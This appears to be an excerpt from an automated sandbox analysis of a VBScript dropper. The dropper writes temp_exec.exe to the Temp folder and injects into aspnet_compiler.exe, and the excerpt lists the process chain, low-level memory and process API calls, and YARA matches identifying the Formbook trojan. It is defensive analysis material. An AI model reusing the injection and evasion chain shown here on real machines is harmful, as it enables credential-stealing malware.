          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392CC0 NtQueryVirtualMemory,4_2_01392CC0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392F30 NtCreateSection,4_2_01392F30
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392F60 NtCreateProcessEx,4_2_01392F60
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392FB0 NtResumeThread,4_2_01392FB0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392FA0 NtQuerySection,4_2_01392FA0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392F90 NtProtectVirtualMemory,4_2_01392F90
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392FE0 NtCreateFile,4_2_01392FE0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392E30 NtWriteVirtualMemory,4_2_01392E30
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392EA0 NtAdjustPrivilegesToken,4_2_01392EA0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392E80 NtReadVirtualMemory,4_2_01392E80
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392EE0 NtQueueApcThread,4_2_01392EE0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01393010 NtOpenDirectoryObject,4_2_01393010
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01393090 NtSetValueKey,4_2_01393090
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013939B0 NtGetContextThread,4_2_013939B0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01393D10 NtOpenProcessToken,4_2_01393D10
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01393D70 NtOpenThread,4_2_01393D70
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeCode function: 2_2_014E83E92_2_014E83E9
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeCode function: 2_2_014E8CBA2_2_014E8CBA
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeCode function: 2_2_014E3F302_2_014E3F30
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeCode function: 2_2_014E27B82_2_014E27B8
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeCode function: 2_2_014E20482_2_014E2048
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeCode function: 2_2_014E20382_2_014E2038
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeCode function: 2_2_014E0A782_2_014E0A78
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_004010004_2_00401000
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0040F8034_2_0040F803
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_004160B34_2_004160B3
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_004012604_2_00401260
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0040FA234_2_0040FA23
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_00402ADD4_2_00402ADD
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_00402AE04_2_00402AE0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0040DAA34_2_0040DAA3
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_004023404_2_00402340
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0042E3334_2_0042E333
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_004023344_2_00402334
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_00402E704_2_00402E70
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0040F7FA4_2_0040F7FA
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013FA1184_2_013FA118
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013501004_2_01350100
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013E81584_2_013E8158
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_014181CC4_2_014181CC
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_014201AA4_2_014201AA
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0141A3524_2_0141A352
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_014203E64_2_014203E6
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0136E3F04_2_0136E3F0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_014002744_2_01400274
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013E02C04_2_013E02C0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013605354_2_01360535
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_014205914_2_01420591
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_014124464_2_01412446
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0140E4F64_2_0140E4F6
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013607704_2_01360770
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013847504_2_01384750
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135C7C04_2_0135C7C0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137C6E04_2_0137C6E0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013769624_2_01376962
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013629A04_2_013629A0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0142A9A64_2_0142A9A6
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013628404_2_01362840
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0136A8404_2_0136A840
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013468B84_2_013468B8
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138E8F04_2_0138E8F0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0141AB404_2_0141AB40
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01416BD74_2_01416BD7
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135EA804_2_0135EA80
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0136AD004_2_0136AD00
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01378DBF4_2_01378DBF
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135ADE04_2_0135ADE0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01360C004_2_01360C00
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01350CF24_2_01350CF2
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01400CB54_2_01400CB5
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01380F304_2_01380F30
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013A2F284_2_013A2F28
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D4F404_2_013D4F40
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013DEFA04_2_013DEFA0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0136CFE04_2_0136CFE0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01352FC84_2_01352FC8
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0141EE264_2_0141EE26
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01360E594_2_01360E59
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0141EEDB4_2_0141EEDB
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01372E904_2_01372E90
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0141CE934_2_0141CE93
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0142B16B4_2_0142B16B
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0134F1724_2_0134F172
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0139516C4_2_0139516C
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0136B1B04_2_0136B1B0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0140F0CC4_2_0140F0CC
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0141F0E04_2_0141F0E0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_014170E94_2_014170E9
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013670C04_2_013670C0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0141132D4_2_0141132D
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0134D34C4_2_0134D34C
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013A739A4_2_013A739A
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013652A04_2_013652A0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_014012ED4_2_014012ED
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137B2C04_2_0137B2C0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_014175714_2_01417571
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013FD5B04_2_013FD5B0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013514604_2_01351460
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0141F43F4_2_0141F43F
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0141F7B04_2_0141F7B0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_014116CC4_2_014116CC
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013699504_2_01369950
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137B9504_2_0137B950
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013CD8004_2_013CD800
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013638E04_2_013638E0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0141FB764_2_0141FB76
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137FB804_2_0137FB80
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0139DBF94_2_0139DBF9
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D5BF04_2_013D5BF0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01417A464_2_01417A46
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0141FA494_2_0141FA49
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D3A6C4_2_013D3A6C
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0140DAC64_2_0140DAC6
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013FDAAC4_2_013FDAAC
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013A5AA04_2_013A5AA0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01411D5A4_2_01411D5A
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01417D734_2_01417D73
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01363D404_2_01363D40
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137FDC04_2_0137FDC0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D9C324_2_013D9C32
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0141FCF24_2_0141FCF2
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0141FF094_2_0141FF09
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01361F924_2_01361F92
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01323FD24_2_01323FD2
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01323FD54_2_01323FD5
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0141FFB14_2_0141FFB1
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01369EB04_2_01369EB0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: String function: 01395130 appears 36 times
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: String function: 0134B970 appears 272 times
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: String function: 013A7E54 appears 98 times
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: String function: 013CEA12 appears 86 times
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: String function: 013DF290 appears 105 times
          Source: QT2Q1292300924.vbsInitial sample: Strings found which are bigger than 50
          Source: 4.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 4.2.aspnet_compiler.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000004.00000002.2136321349.0000000000E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000004.00000002.2136079152.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 2.2.temp_exec.exe.3051804.2.raw.unpack, cb2e7c6ba8be0ef5b6ef7a92b800a3bbc.csCryptographic APIs: 'TransformFinalBlock', 'TransformBlock'
          Source: 2.2.temp_exec.exe.63d0000.7.raw.unpack, cb2e7c6ba8be0ef5b6ef7a92b800a3bbc.csCryptographic APIs: 'TransformFinalBlock', 'TransformBlock'
          Source: 2.2.temp_exec.exe.30594a8.6.raw.unpack, cb2e7c6ba8be0ef5b6ef7a92b800a3bbc.csCryptographic APIs: 'TransformFinalBlock', 'TransformBlock'
          Source: classification engineClassification label: mal100.troj.evad.winVBS@7/2@1/1
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeMutant created: NULL
          Source: C:\Windows\System32\wscript.exeFile created: C:\Users\user\AppData\Local\Temp\temp_exec.exeJump to behavior
          Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\QT2Q1292300924.vbs"
          Source: C:\Windows\System32\wscript.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
          Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
          Source: QT2Q1292300924.vbsVirustotal: Detection: 16%
          Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\QT2Q1292300924.vbs"
          Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\Temp\temp_exec.exe "C:\Users\user\AppData\Local\Temp\temp_exec.exe"
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
          Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\Temp\temp_exec.exe "C:\Users\user\AppData\Local\Temp\temp_exec.exe" Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"Jump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: vbscript.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: msxml3.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: msdart.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: edputil.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: appresolver.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: bcp47langs.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: slc.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: sppc.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeSection loaded: apphelp.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: mscoree.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: apphelp.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: version.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: amsi.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: gpapi.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: rasapi32.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: rasman.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: rtutils.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: mswsock.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: winhttp.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: iphlpapi.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: dhcpcsvc6.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: dhcpcsvc.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: dnsapi.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: winnsi.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: rasadhlp.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: fwpuclnt.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: secur32.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: schannel.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: mskeyprotect.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: ntasn1.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: ncrypt.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeSection loaded: ncryptsslp.dllJump to behavior
          Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
